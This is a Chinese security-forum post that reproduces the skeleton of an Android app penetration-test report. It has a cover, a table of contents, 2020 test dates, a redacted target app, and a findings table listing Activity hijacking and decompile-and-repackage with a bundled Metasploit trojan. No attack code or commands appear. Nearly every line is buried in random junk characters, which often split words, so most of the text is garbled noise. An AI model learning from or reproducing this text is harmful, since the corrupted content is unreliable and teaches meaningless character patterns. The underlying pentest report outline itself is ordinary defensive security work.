找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 5221|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
4 j2 W4 Z* y) y; a# B5 X6 J0 Y3 ] 1 K/ q W3 @6 e- S, b2 U7 v7 r0 Y

h D" x8 w" o 7 [! W8 P5 O% K7 w$ d) t
# v1 ?6 L7 f3 W& l( K ( P9 ?0 C- Q; j. u* S' E1 Y

* Y- N# I ]! ^6 }. w* i) \ N & v3 _! C/ `9 V. R+ a# T: E, `6 g
$ a7 C6 x" g1 G& c" A 0 K! h- h5 Y/ i# j# }9 J2 U; ~$ i, V0 z

& C6 l0 e1 x) k; \ 2 b, ^* _5 _1 }! J! K 文档编号:                $ [) J$ U9 n q) H$ l" c. ]8 y" p _4 ^: Y% W& a) q

3 T ]" }* I9 e, t ( {2 [8 N1 ~6 P& b; a9 z L

1 o6 c! C" [" }" s - p3 n7 y+ s2 ^6 s- ^0 c   6 H. }% V& n0 v' o% R4 Y% a " n; f' E/ u* c6 F! `$ i

" i! L8 r; B) `' M+ m8 P& j& H 7 B& j( _* t2 U" t+ @+ N! r* ]7 k

3 [$ _+ ~0 h! L5 u" F& m 5 f5 q6 _. O) X @- Z5 n   ) I$ u) F% A2 v$ g) K: V # h5 Q* K3 I' p9 N; ]. C6 C

$ _* a' V1 [8 X! Q B2 N8 U1 j* _; W8 n, q1 a8 T

: b( g; k* j+ ]* y+ B7 a. Y+ ?3 l- ?0 G6 ~ N   ; B- l% L- `' N6 q , K- w/ v' U* f8 ~( B' h! E

; B0 {) n L: u# q( P: B' S( S) B8 k; ~8 H, u* h

9 t6 N+ H/ ~! H& ^# ? ! y( i$ I" b3 L: B, W   P1 k) t* p, b, b& r: c5 c ! R, y9 A& H% i8 e

U( z! g1 {6 T 3 r& Z, f7 L8 ?, d" S l: v4 p) A

6 c6 Y( C; R7 } ( Y) _1 N0 ^7 i8 g8 _   3 U' a- [6 u' w; t+ e8 A 7 h. H# u- Z+ Z" i2 j

3 h; T2 n) y/ m 5 P7 G1 U' l) e% E7 H1 _

5 u: W7 A( ^( n0 h" o ) d. D h% d/ R1 G- ]$ R: F 某某某APP渗透测试 6 L3 @0 y0 l' T; s- T - L0 w& t6 J# J4 T/ m( \. P

0 h e) U) G1 ~2 N* b3 H 8 e2 w4 B; Z0 d q' W9 @6 w

: r; R( K g0 ]7 P4 G: T) W$ j3 ]# h, T5 V& V9 J, |% X   ; ]2 [. ]( k& t1 z2 E 6 W" @6 C! G' h9 p( _0 w

4 p) d9 w9 z& j 1 h0 K4 I7 ~* H R* S) E T

# ~! c1 T8 K& q) p, N " X; Z& p# K+ U9 R/ C* ^, L1 L   5 H9 v5 a( W- u |0 i. a5 e) h9 Y1 D+ j1 r( l* ?3 ]: p5 ^/ `

3 q7 [* Q* g1 B' s4 d) [+ } ) f2 s0 [9 X/ x

S- ~/ B# O! w9 |4 t% s B; R . V3 i% @( x) z' T9 P3 j/ u1 I   ; A0 X, p/ Y& Q2 a5 {5 n5 Z# y9 _2 I; }2 | F! L

q% C0 B E; b Q- X: C; N" y; k5 r, ^( H' ^1 ~. c" B" C

7 V, x0 B7 f5 N$ z7 m* Z3 ^3 P3 L) |0 [6 I' r; s% }# i   * J1 P- Q: g% J$ f$ w( T( N $ N! X$ M8 ]: w2 H: q; B& F

3 m5 E$ P; N0 |9 `9 E! `# p. B- X " Q" H. S0 r" S3 j( @2 ?

& v# A t4 u1 V5 Q 0 a& l1 L$ H$ O+ f; Y0 H: |8 D 技 术 报 告 : n8 T. K' B# [ / i/ m( r- J1 \7 D. d* ]' l

O( J; f) R- G5 V$ y* ` ; {4 Q# R4 i( P9 B, Z2 b, a4 }

/ Y$ [! n$ p8 Y5 R' \6 r - w7 b! V! c: ]" \+ J; [   " n- e3 U: q/ K' l* l % `) a8 J5 e- ^' q& F! U

7 E3 Q5 d3 l6 t, E; T4 S- Y; v1 q3 {1 ]5 L, h

7 ]. D: ~0 V* i' p1 k/ E- d, I3 @( ~! [& E   2 ?) \ S8 |4 s! O+ R C! Q5 W$ R5 X# q7 }& M) Z

1 {) n4 p; L! J+ Q9 B / S7 R( N- f, S3 [# k( ^) P! n

' j) {3 N& Q. U- b" v % s O( j5 q i" w: B/ _( r; d   $ V6 P. i# q6 Z1 m % t4 N$ n# E* g# Z- P

/ T+ j- ^) n* }( [* i4 o % a b) W+ {6 K/ r( a

# r2 E+ g( W6 s9 ^5 g9 s2 N7 b9 \2 f/ n$ O. U" a5 @* H   0 Z3 K. o& L8 {; {: N' L 5 Q8 T2 `& V6 q' i8 l- Q

6 J) Y0 ?" t! m ) o4 Z' R6 j6 Q, R, j, z

( w: H# t! H7 H' D $ W+ ^! W& s1 G   $ k* L8 a7 F3 t/ h$ r# q& x$ n * w' O8 f, G v! D: b! Y

+ C# v9 S7 M8 G% B4 f 6 C3 e0 u. D) B/ x4 S% l

3 `9 p' X& g; S M3 J$ { ]3 n/ D; I, I! o- |+ Q% B2 N" A0 b   / Y! P& ^, v4 L2 B" e" h! G$ X2 S" S1 c8 B0 L% O1 }3 i5 p

( { }( _8 p `7 b0 M+ C1 z: ~' K7 O0 q, ]: ^8 L2 O0 y

5 n, k- {. k0 S) ?( G+ i0 [ ) h/ H5 X. V6 a! N   7 x, u7 |# _ s9 a2 [' X 1 _* X0 e, _9 \" e6 x1 j! X

! Y) B7 a+ T$ u5 d& U* A4 }9 v7 S/ E * `% Z7 F' h+ Z) l6 d- _* ?

9 C+ T9 o6 B8 c5 ^! S) h& w m; L& f$ C0 L   0 N/ u' {& Z* e( } % l% T4 F! t+ p/ ?

7 Z8 K8 X! ^1 u0 t5 Y+ s% ^0 C# v! a5 f3 g- m0 K' _

! _* o- n+ E. c* I2 {4 }9 f 2 Y7 X ]7 I. w- s/ M: G* y   ; \5 D& G: Y M. _7 [ ! H5 A% U5 k& Q/ J* c, w

9 }, S7 l- N F6 ^) l ( E" l+ f( X- L, t4 W: U! m

, p8 z" G. G7 p% ^3 m6 }+ W ( C5 ?; s" q- E' j; _4 o7 W   * W" Z4 s7 J7 a. v2 L7 ]- E , L! o8 }+ u& \/ E- r {. d

6 m# Y3 G, j/ H' Z* v) k1 | 8 x- ?% d: z( I9 A& a8 \6 O

% e4 k- c( \% X$ K8 r- t4 R ( c+ v1 @) Y1 R) n& s; a0 ?   J+ P3 K. [- M * Y0 W: A1 V& o* ^# d. W

" H2 D' `0 [: }: e& Z p. h0 o 4 L% B4 I0 X Y% V& A( e

3 N E# T' e5 v/ K6 j. G' X " |6 v c* H4 p) i9 S7 B+ t   . C6 f4 a7 M. }& h " V* x7 N5 c* Q) m- M. \

1 \! |# n. J9 S# S- J% x/ k f' `5 [7 D5 W

" W. j5 J- c4 w5 \9 Q ! V- n0 h, }9 B% |   2 N/ G! r: ~7 P3 d9 S0 o - f/ ?' l3 F) s4 @# R3 R

: k. d" O* E5 E) r5 Q3 k- `$ C, Q& ]8 |4 I9 `, [/ K7 m

2 G7 D: ?2 y7 O/ r W! t# |; ^# B) R% L" t: X! Y0 \4 Q4 j) z   - M: h+ }/ q; t9 ]# y, p1 L 1 N. T4 O1 S, `/ B% ]/ A4 n

8 w* y S' Q* E: y) S+ O7 j9 m) [, a K4 z Z0 o

: ^: A, Z7 p+ ^" ` 4 ~. G3 ^9 g4 ?2 H" n   / s- w; F* z `3 `. ^7 O9 @7 S1 v4 w3 w% M6 C( P% |+ v

% g& P$ X- Z! t- u3 w4 w! V: B, j& W2 [, v2 v8 k g

5 C% X* R9 z( t3 \; _ . f* E2 n4 q6 P9 {: F/ v   - w" e, Q6 B6 H. q/ I; z , s6 B0 l' }) l; Y& D7 D

* `# K- f4 P! m8 [! R ' a3 L. r. x' H2 U' D9 ^/ @- k: _

0 R3 T( I7 Z. }" s" W, p+ D1 b9 C2 }/ \9 l0 O5 x   7 K, I6 [' X9 p8 S% `7 F6 f" i4 P7 {* C

5 v' M, @7 N. C) | ' @; c% z' r$ Z2 v

% j: y$ r0 T: E' N1 E) d $ h* `/ O% l- ~* B% ]; d5 p+ V x, [   1 i% Y% y2 K6 R \" h! B" `7 D' W4 T5 \, d$ c

! f8 X5 x F, R( |9 w6 L& n7 c: C/ p5 Z

. H) Z& b6 n3 ?. ?- o5 O+ s ( f( Y+ H, N$ k8 J1 s5 `5 G/ w 二〇二〇年 / `, x( r, ^/ |) L8 j9 M) o$ }3 f Q- S

: v: M# V+ d% |+ C. R W6 Q5 m: F : l5 o1 J; N/ a: _! P1 C
5 m) @ u, H7 \$ _! A" r* l& u 4 \9 F) \3 h( E# w5 M7 J# g
. E* R! D1 ^, j* h1 ~5 ]: D$ e ~5 T5 Y- X2 l- B
& N' i* y; w- I% l M" w/ N1 V7 N" J3 U" f9 }
9 m4 K9 v2 B; ]% C% Q3 M% z; Q " O: Z+ M8 e& d0 |5 g' |8 q. C
. u" M4 L, ^) ~ 6 e0 X/ P/ ]4 _, U/ `2 H0 {& n; l
% e6 B7 D* D/ }- e% N; w$ ~! m " _) [" H r$ N, q; Z) r1 k+ k# K
7 o$ @# J& a3 w7 Y& y7 R! k/ E- a6 v3 d ! L* d& a( \0 {) ], O0 J- b& V
3 A5 e2 Y$ l* L! M7 i7 S 8 H9 M5 D9 d& K

' }. W: y2 |- L* d6 v % u5 n1 U( Z' ~ R2 m$ o! T& J% r 目 录 3 o) N, J: Z* Z$ {9 f$ T ; @) v, K9 j# u* ~

4 c9 t3 w& l% A 3 e! }1 C( Q4 f r) L' T , R0 Q5 U) |9 l( H& { 6 |5 k; v8 C( s) M7 r

; u1 M {& A8 b * X% ^6 {/ b. V8 F+ `/ u; M   3 D9 A0 p) Z1 _3 }& n # s4 q! A6 W! W! G! d9 n

1 \* m: M" \! l2 b+ A& i! _* I* s$ o1 o7 i& p* p, F

/ Q' Y0 A9 u0 ~: Z # |6 A! o% Z) Y, W7 L9 @# l \ 1 概述... 3 , a% U4 F- j/ W: e; V; r. j- W 1 L b& J7 Y0 h9 M& x& p! d

; e( l1 Y0 P; X& H ( j a) _) M- z

" e- I, `$ ?( u& u# e ; C; k4 h M, t 1.2测试时间... 3 - L8 T9 L) g0 w3 d2 E" F " Y `7 G( \8 a& R: k! |

* {2 e+ b2 I& p0 e0 t6 J # n7 \( f! b. W/ U( N

\/ v( e5 S) t* [: ? * F# m$ q# w# z! o- A. i 1.3测试对象... 3 . }+ f' \3 \8 _5 C3 w- c7 s4 f- P% y8 C. w/ ~' N. ~

. q8 `, {" E+ Q+ M; p5 O% T: \1 e+ b2 K $ I2 D2 J- Q+ D; s! p

; R* F8 H U' ~8 P5 A 9 @" a( E) o0 z6 f5 A! h6 W/ a3 x [ 1.4测试结果... 3 4 V% x% i& G n8 m8 S9 W4 X % n F8 |$ ?2 f& U5 C6 p' y9 o

8 ]. a7 @8 H- }2 b$ V5 _( \2 P, X, N* Q6 H2 F; L

0 U+ q2 U' U! y% c e' G* J, Q8 K& t 2 检测结果... 4 0 m4 }' D' n6 t. {( m+ T + P. }0 N0 `, B+ a! V

0 N! |& b4 {& P: h6 J & P. @" {" _) g. [) g1 U S' g

+ R6 f5 z |1 Z# r/ c5 @- |5 z* N; M 2.1 某某某... 4 . Z3 n3 N! ]+ m) V) ~# n % H2 B+ ?7 R* M5 M# h: @

( U& B# C8 D' B! R' r. D( L" O" y+ W2 p# @( b

S" g# d5 @8 S9 I( P * V7 C! g* S# ^! K- t4 G" { 2.1.1检测目标... 4 / R$ `* J# l8 i' ?5 h m6 h$ p, j$ P5 v0 Q9 K0 u3 F1 p

9 Q& q# ^ l5 k6 y2 U# @. j! q1 N: P+ I; H

: u' [( p1 O3 h% Z" a* r7 ^( X 6 ?6 f4 f9 M' y# a 2.1.2检测结果... 4 , i6 M7 O U. X1 ^# J7 B1 v/ Z ) u0 t: b: }. \6 i

9 g# E) `$ Q/ `/ M6 i6 b5 s & V3 _" q0 P" }9 l, x

" j+ w) c8 F7 S2 ]) o6 E 3 |6 S; J. ^# I" P1 s 2.1.2.1. 4 ! l) e/ V. [# j$ Y" _* r3 @; A6 j" O) r. V5 c* C3 |

1 i' h/ u, O! Z9 @: P / `# o r7 Z: B. ^( t. j2 ?

' [- y) Q/ T" N8 q$ \6 {$ [5 V/ S% _+ P0 M5 f, T 2.1.2.2. 6 - E7 x1 A% H8 i; D" c6 m. Z; A( h2 D

8 O2 V6 E6 q4 P/ m8 _1 x5 u 0 N0 z; d) ?/ o/ O# R

2 t1 `/ Y% v; a! k8 l+ r; _* Y' h# G; G3 D) V6 I5 ^+ Z $ c* ]) j v9 y/ m9 Q * N2 ]( C2 D9 x2 [3 d) p

" m$ `5 Y( F0 o0 X + [# z, U$ J3 }+ J0 d& T# V0 u9 e+ E. W$ h
* y, k3 s3 U5 A/ e7 R: @4 ~6 S
# }9 l8 Z" }' D9 A# F4 b c0 W : w9 E# G' F2 h+ O' b% U0 Q4 l
" M) p. `0 R# T5 M9 k' {. w8 u9 p, G- S9 a5 R1 e
3 @5 _1 h2 v: }' t: T% ] N ! B3 T' l+ L: ?6 s& q

3 M0 k. H* y; X( U- P0 ] 8 e' g9 ?) d9 W 1 概述 3 N7 M) `% r$ E* C: n* {. D 2 k+ A+ {3 w, k' }- Y- j

( P* r8 U. y, T% A$ ] , Z" \8 ], `. |4 ]+ b% i' d

5 y4 u. v' c* m$ K6 ` 9 i: L( B" H% D1 z$ V 1.2测试时间 5 V2 d7 t+ p8 A1 N 3 Y/ E+ J& s! N/ ?5 a

( |/ [2 a+ H( K6 F7 g; q 9 {4 I5 S& S) F( a ) r- \; a- [- M( p. |7 j1 H& ~4 y8 j$ [+ G$ a7 L. g7 Y/ I- W2 N0 H) ?3 ? }) z; f9 s9 \8 v! |- z, z0 |0 z N, m9 Z3 z% e3 T3 F( }9 {' i/ X$ r" P# G5 X8 F7 j+ f! _/ K" U. T9 {' u1 Z& _0 Q# B$ o9 H" @* Q! P' g7 v( q2 Z$ C9 n( I* Q, Y: e$ D0 i+ l3 t4 t1 S) G0 I+ \9 l% _1 T$ U5 I% |7 d% T* z" h/ Q" x" z; d2 w9 ?. P6 o Z) e- L! a8 P, w" e) t9 h$ j5 i1 D I8 n0 S) K. R2 j+ W# x4 ?% F9 V. c/ [2 p$ {, S( E% m# T8 }. H) [" h# K$ `& w4 A3 w3 r0 ?" E, J$ y: {9 e5 F9 q- m# `. J9 a. z# f1 A$ U- t* H) H& d9 a9 i. C' j5 o- I, Z2 o6 a% T$ Y0 K; J* Q& J, s. ^& b% o: [, ~& C6 m" p; _/ w- L! u$ U5 v- r q' Z1 C" b% a u8 `% x" _' x3 p7 j* k; e3 z7 J) g. R" A6 S+ X# ~5 Z4 X3 K: N) E- I
( ]% W% J5 l( k3 }; K6 Q1 ^ Y& ^* m + c6 o% n+ m9 E$ U6 }/ U; x

3 E$ [! n# _& J& d: v3 u0 \1 g 5 w8 J4 P3 q4 X1 h% `: _ 渗透测试时间 " w" X) {& o; k& s; o ' J9 I" h: ]2 z7 k4 s) i" w" a

5 F7 {9 j) H- @ 3 |: _( |- @! @" B" Y( L2 ~) f
. V' j0 l r V! A, @+ n0 H! K( \1 R5 V 2 q# m) y% r$ s

, Y \. s- D1 S+ V- B" D 1 ]4 x; t i# V4 i2 @ 起始时间 ( G: m7 h* h+ d2 \6 _; J+ ~9 [, Y# V. @ g5 D# S1 {

) x) a$ R. @2 Z/ V. t3 |. `0 @( w% h" u5 a7 C* x
& o" r3 |2 ^1 n; ^3 r ' \# k9 f9 A8 W8 O& g. _

" `" \9 t' r; X . S4 O! @! a6 ?1 e5 ]3 Q 202046 9 X* J* u3 m# n7 U! L- B7 c: _# ^1 C$ n( j" s

! a! Z# P1 o- g. Q% ?: C* r- o% Z% X4 O9 l6 q; ?& X' ~
$ M+ i2 p8 ]; O1 \% O* G 8 C8 ^, `4 M( K) T

! L" j9 T# }2 Q' u8 x, t - b3 E2 G/ v) f( `3 n, | 结束时间 2 S+ q- R* L3 N2 L" g4 s: ~9 k/ Y# B; A% A4 E

3 i2 \- [# r( F) Z# U( i7 y# H( S1 G! E4 \- Q t
2 N7 Y0 d& E0 j; k / Y& @+ Y5 c' b/ i6 h2 q

7 o2 f1 r, I% B: P* G% C/ I4 O " D/ Z+ g7 V! v& y$ u; P 202049 6 _6 r1 k4 z( V( e+ `+ p3 ~8 G! g/ V( Q5 B6 c

% A5 O8 G" X/ \" G) s8 b 5 m) R! g. L1 _& r7 X9 n' \1 g
L' @! V z6 t. m9 ] : ^7 S4 |& f( Y1 x n& q0 H) y

* D( E8 ?# u3 Z) h5 q/ H - e6 s# h7 x: }8 l5 S( [7 G 1.3测试对象 : l' n6 G: a. m5 t' y' t3 S/ J1 M( \* h+ x& @: B6 P; c+ }

1 g6 m: L+ T' F ! p4 u: j$ l% ?. i* V6 k

0 ~' e8 u2 a( C( c4 P t ]% k! w7 i, b 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ' C; M! i) E4 ?/ G5 ? ; q4 t: n. K+ a& i- ~

# D: ~0 E1 }6 Q' } * N) R2 Y; U4 @. ~

9 X0 p( i: o0 a0 ]( l! t: q/ H; j i. F; ]/ h 1-1 检测对象 2 I1 A. I( B: m/ _ + I1 g7 H) M9 A& N. G; D

5 M; ^. K* k7 s/ H3 n. Q: S2 J " _+ U7 Q& W h" Q5 { D; e0 k 3 P; c h& |4 g2 _8 ~! {. e: z4 i: j q r' t* m5 X9 W$ v% }! B' R& O' x- `2 x) C- ~1 C; o; B2 Q H S9 x% P+ b. h- I6 m( v% Y9 |1 y8 y5 ^) q* r. G( ?! ?) |) q' [) j2 v6 ?. V: }5 H4 X; N1 B! w9 U* s& c- v2 \7 M/ S! A) t' R! [$ Q: _0 ^, r% m8 [2 \* Q$ }+ H/ e E7 S2 g- L8 y% l8 @; p# O3 K. c* m" s: T- c: p0 C0 s E7 p8 v0 \0 d9 Q& m- s- Q6 S& }% N$ M; E- U1 ]3 n+ P0 q8 {6 d6 m, f% A* ]1 C6 k6 U* ]+ G3 i" y# q( [) l; K% P0 |) k7 E1 m( o% Q( P& T/ E9 d- V! p. I) t( K: D# ]- ?7 d' s- \ d7 v ^* j( g! z Y4 a5 d, \7 C# r2 M0 J1 X* O- @ d5 o* i+ U/ ]! w; Y+ d" L* `$ p, Z, o. L9 g- q# ^$ f! D( T" c: j& N2 R& Y. a( b. n. Q, r+ t5 W+ H& p5 w( b( @# g! j" ?7 T% A0 S2 d7 u# F: U! S, g8 Q1 k# ^* I$ w4 k$ J s: Y3 a* c" z
( S( Z8 i% q2 O: K7 G& [2 J; |1 v5 u, k3 c! g) x0 g0 T7 S0 \

) |$ _" h/ \* O2 c! `! ?! d+ B% j0 x& G4 j 序号 2 z% g3 w# @) q' t, T : k! W: v. J' b. g# q# l3 u# l

4 o7 b/ Z# \# |8 S# I9 |9 N 1 s3 N7 `6 {8 ~5 }) T9 n! e
1 g' M6 [/ T# h# Z$ b( P 9 N! |5 V4 ^5 V7 B

# B& s* r& O3 v* S& J " ], @; }. ^( v# f 测试对象 . L' w6 m/ m3 B. Y: p* x 2 Z9 N8 h; ^& U% w9 E. Q" i+ x$ x q

1 J7 O$ F2 K, }9 A; o # v$ @* C0 K" ]" K6 u% c6 V: O( Q$ E/ e
. Y6 m6 ^8 W7 y 6 G9 Y4 R, l% `+ l

; c4 L @) R e$ |1 q# L* _$ ^ / b$ L3 B. C/ [- ^ 测试地址 % o- q) U" G" J' S, s5 L1 V & Z3 }, Q' a7 P n' Y1 |

8 S2 Q3 _+ h* i& e) [ , m: i# S( L/ ~3 q1 K( S, h4 ?
/ D w2 u! U# l0 D' x( Y/ f0 [ p w6 f0 ]2 V

% n2 c2 K; I) p" i; ~" g1 x' V. F; N1 Q! b4 K! Y W' } 安全漏洞 $ ~8 B0 ]2 l/ ? _( L7 n6 P! d $ j- p9 V+ W# p: ^. r

& B3 o; w, D: \8 P, D: j& U$ L . R6 Q% c8 F7 ^6 ~; g/ d# \
7 H) e8 N1 Z( L9 Y& k & i% o8 F0 d" G9 N8 i( `

( d. _: {7 t! {( r5 j 9 ~+ D. S6 b0 W, l; x 1 & a6 W0 b4 @# F : \; Z8 _4 Y5 {% T

( U0 u* h; [: ]. W; J9 Q; A" A ( Z, A5 L+ F0 E( q# }: J' H5 O9 R5 w
- O$ ?4 m1 z- e; J0 V$ W! L # u. }. v( E7 P/ G4 g% [

$ R; H6 }* L- b. U9 L ^6 D# c $ S% r" l4 N# D' v# s 某某某安卓APP Z3 i: B0 [& X / Q$ ~/ ?8 t. I1 A/ g6 t

( E: D' ^- G( m' \8 g ' A7 G' O8 T) v! D) E! u. {1 s* F K0 {
& l% E; e4 O2 o 8 |) q: `0 r$ q h

0 }+ R# k) }" |, e0 w3 K6 I: X % P& o: {9 Y4 i   ! P/ p Q: ~( a+ F# s ( V0 h& i6 h3 Q; a/ d6 K( i$ v

, Z# I- |- b: H' } + F- M+ v$ j! b9 N( b2 P
( Z& _( {+ K% x# r! ~' Y* D% D6 G! I: @7 F- U% ^

2 S4 f0 c* ~! I: G% i" M ! S; m4 i+ i, W# A r P 2 9 Q$ |) x0 J# C# { ! }: U$ T, d! V, ^

2 j" i* X" H8 g8 ~ & ]5 c& V4 _5 g6 c: P
8 @; q" W7 R# I( }) Y 1 W2 M5 ^9 [" z! f% u9 x( k( E8 V

5 Z3 D' V: D9 N2 _+ T 7 t( x5 q+ j5 r% \' `/ Q1 f 1.4测试结果 ) p q- X5 |" f+ T. v8 t+ Q 6 ^& t% c$ ~' n- ~: {# H

7 l6 J r1 H! E7 k: k/ p; M: x H0 M; t7 w7 W- `1 {" r. u1 H! L6 Y

! q: e* b8 `6 e, M2 { . N/ P2 W( B' {9 d 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: " ^; t# n& T# l3 P* N9 u2 ] % h" L1 c1 D! A

. y2 }: e& R3 S# A 7 w3 X, D* }, Y* p; _

% e% Z& u+ k9 D- Z+ a8 R7 M$ G' P' x 9 l* S9 e3 t$ Z   $ i; i9 H3 T+ H& U9 ^( d , P; `+ [# k' ~6 ?. V; Z0 Z

6 ~: n7 {- @- F! ^3 s& y ( B J* r1 F. z+ U
7 l7 J2 R3 n- @ , r) @" A- ?; K$ [; `2 e- N* a * C8 R, Y6 _ _- T& F% N9 m+ } _* d/ L0 ^/ F2 o: F+ |. r- w2 @6 d0 {# @5 Z& [, e0 k3 V* R2 K" s1 d2 \0 v' f; u# Q$ C4 }' v* d7 p& R6 O& V2 |9 s1 x# X2 B$ h: H2 d/ k% r X1 j! W, L$ p, |; F+ ^" ? u) x6 k# f5 G/ E# X& _" c6 B! m. @; m8 P2 }# v4 r a# _: G T( S! s( R0 i* l* r: k, Q! J! R ~# p" K( B$ k) h/ h+ d" j0 B# \2 X& j* W/ y0 \% U( q9 L) V. \# {* N) g& v9 R N4 y1 t9 P3 l% ?& k( {1 N) F! m, q$ C8 K6 w; y w2 m3 P9 _: S+ u& q- ?" h J6 z$ C' P6 S$ v3 o9 g" Z* o* ^: m5 F4 H- ^7 N2 o: ~, ]& `; }$ Y6 Q) x* m* U8 W: l' u1 O! c" d; r& Q8 s$ C+ y+ A8 R8 x6 w9 p. f4 _6 |, v! X+ E6 L9 }# `# Q5 [" |) k( |0 J3 o( K$ O# [6 S' _0 ?( U; h/ ?7 d" b6 ^( r* Y* p0 [$ N5 I) S1 S; w6 X2 L, M! o- i/ w4 M- A2 Q: Y$ C/ O$ {3 }5 C. X8 {% N& E* I& C: f: l4 p; G# I8 ?" w& h: N- _0 }; C v$ A& K& o2 M) o! ?8 Z7 ^1 H! N" a3 \) g3 A2 p& Z/ W2 T k/ i$ Z5 U1 |$ S1 L1 R v+ p* r1 k" U& {5 o6 G; Z4 \' G- K8 e0 E, x8 J) g) |( J8 r/ a# ^. j# K3 b3 p! ~* `4 ^2 i% c' Y2 g( B7 i. |! s" O$ n% x, W; x7 I4 N3 x( h7 t, d7 S6 _! m( r# o. Q2 a% m2 L& B/ U' {) x' B4 L9 c l( b9 f. b2 H, I2 H5 S( |1 j7 q: K9 ?7 q' l+ _$ e! m' L2 q' D8 @) ^) u1 @4 d
. q H! m! y) s) U1 H6 x# p* A" G( G& |1 ^6 Y" I s$ y( x! t1 g' j

2 q- D/ V& {. C+ D5 Q+ C1 ^- Z- m ' E$ r* O) S9 G$ j+ \ 序号 5 o& ^; @0 T; ~" ? 0 ]8 n" R% b' U: ?$ @+ R

5 {4 G# A3 S0 U+ A( h- { 7 ~: n. J7 ?. h/ ]$ Z0 s. e. ~
9 F, @' f( q7 U d. H! z, |6 W" q( ^9 T# @; `* H

: ^% i- C7 k }1 i" l% G4 ~! m% X . P5 Q4 ]9 Q. z* T$ }; c 系统名称 / n% }' H3 D" w8 U& E , w% W$ N1 K- _9 V* P

) U! P& {0 f# S# {8 h 2 T9 ?3 x! e- x% }
5 M( ?/ b3 B. l& _; p 7 d2 R: b8 Q s: c, L

( J/ m3 e$ p; S& J , L0 s7 O9 I' O8 G 漏洞名称 " w4 E* w- P8 f4 q. h8 L 8 M: t2 K! F+ Y% y8 R

/ G* d. a$ N& L+ F : _ _: b+ k3 b2 U2 m
M; d. M8 T" e7 I 4 l, c( \' W9 e; U, w

& e4 q: {6 r; p 8 @# c) b( g- b6 ] 漏洞危害 4 M, L$ C% c1 n y+ i & k# X- d0 m H0 b. y3 U

9 z8 [* e# |( `" O/ s 0 D* ^+ v( T- v' Y& X9 X
; S* h1 e# M. J; ?/ c - u7 r6 w$ g/ J K! O$ b* z. j3 m g

$ j$ a3 l3 A( M+ l# L 8 q. g& L) ~& A, S8 b 修复结果 2 i8 I: {, B; S' L) Z Q / k( o9 R" q9 c$ G

) Y# c" }' D! Y1 j @2 m; x9 ?8 u# L& l/ x, I1 W
, G4 p/ A2 P/ r" v/ O 7 v. q2 R" |1 n7 a6 [

) p8 D% Y4 b0 v) G - c1 a) w$ R1 N% w 1 4 r% D# y) o* F6 o5 u$ Z( ^ , {/ Y2 X1 y, h4 p( W1 F, y

' s* J+ ?7 _5 b ( P* F0 L, [! N6 ]0 n
% w# R, _) \( q# H+ D# g. b7 B0 [. Q" C# Q/ o, Z

: f8 K- ^7 A2 g( [9 g 7 @$ Z# B5 \/ N& M 某某某某某某APP : E$ D! i8 O3 N1 F$ z( x2 y0 L/ g- v0 w! c5 `- j/ I1 ^! p

. O) F! m. o: V" [& I5 @0 B ' w0 i& R6 m) N: |3 m
7 h5 W1 k4 C/ a0 d 3 E/ E Y+ |+ B! ^+ a

( {- I1 E+ n7 s; i! d( l6 A, v g- `" C0 p9 ?8 K8 j Activity 劫持 % U I% A# [( x% } $ M4 n$ \! v. h0 s

( x3 J9 m, m. K, U & l8 D, k: U1 s( L2 H

8 R! r* c! t2 ^- {5 {- f7 | ?+ Y ( L L) C& g6 c* f# D0 T) ^0 v( @   , i2 k" ]' W# W. D 6 b1 r! ?% C) K3 f- R7 t

' T* W9 x2 @) A" |8 s4 D7 p. |% [7 f
/ \* }8 [$ [5 u/ Z- w6 p9 Y, n

- J0 S7 ~$ r1 ~+ g u4 m: S 0 c/ O% _+ Z" t& i2 s0 N " O4 ? g3 f3 K( u& K8 e' P% @7 O! S' w$ N

# F( P' z7 g* E4 W0 ~9 I, P4 b' u/ F 9 f) g. N3 C$ W* a, B6 o
7 k. t2 `+ B) M+ Y5 n7 J ; O9 W/ s5 Y7 \: ?) D4 b h2 j& U- W

" F ^. Q- ?) D& h" D! U ) v! c6 B9 r, z6 z' H) h   ) l3 j: U2 i& y5 S0 I4 f) D3 ~7 L 3 y c) g1 Y; y/ Q

6 t9 A: _, V8 V9 C+ } 9 q4 b- }, C, b$ o- i
' E6 b, s9 q& y6 V, X5 r% A8 V ( @1 }. T$ d& d1 e9 K1 [: [

8 D" ~3 o K9 }' ^: g7 a+ n; s % t4 S, d; S+ [7 F 2 5 L- f/ X, t( S7 e& x- z7 p! T$ r ( |5 B& L- i: w. N: |5 ?1 o

' F: @/ g" I- d7 z# X* y ' ^4 ?' Z o! o5 D4 }: J
7 |% i( b3 O7 a( ^4 D 4 d0 K) a. y' t

% [! ]" @% ~3 ? f1 q / H' G: ^' C) u% V" g 某某某某某某APP ) L' z0 n9 Q' G( f( W T 5 I7 s4 D1 _( v, K- x8 t6 K

6 }7 U) x' m( O" x6 H7 x F% l % m. Q! L' H3 b' u
0 o3 \" K P- b2 W. Y 9 T$ |' I7 G9 g* D

. {' o0 I' G' P9 ?8 Z* M2 [ ; V7 ?- ]' N( }6 ^( V# Z 反编译二次打包捆绑木马、篡改APP代码 & P) T1 Z& e- {' F7 G' V ! c3 b) M- B' a4 s0 }

: ]. s' n9 J8 c 8 g+ P8 A. r$ q! f
# H9 g: ]( i" Q0 U; Z% H/ u4 p. V' [$ k* K

* f; v3 A1 g) k; t$ p/ g/ ]" q " @7 R' \8 ]8 c* g3 ~' A, _ $ [; v O# C8 [. Y0 H3 p. r 9 F7 D& }- j/ r' u: _9 A: n0 [

, ?% Z9 {" E3 U* U j* n% s! g2 X
: p/ M% E& e3 c5 N7 V 3 y, R8 M; I. T& M

1 q; d) i" {' L* |8 d$ f ! @9 V) I+ ?& [' ^   ( ^# j6 I3 J& K v3 L% G5 D4 N6 s5 q( m: W- T5 [

1 V. J) l2 q" H& k V( ]/ Q& o/ |( H% @0 b- H
! H) r) a( G3 A4 C- S ( N9 F1 X* w; S/ }: i
9 V6 ], _% a+ a, o L( v# I 7 g+ ?4 ~: A' v1 ~/ n7 k/ q+ w

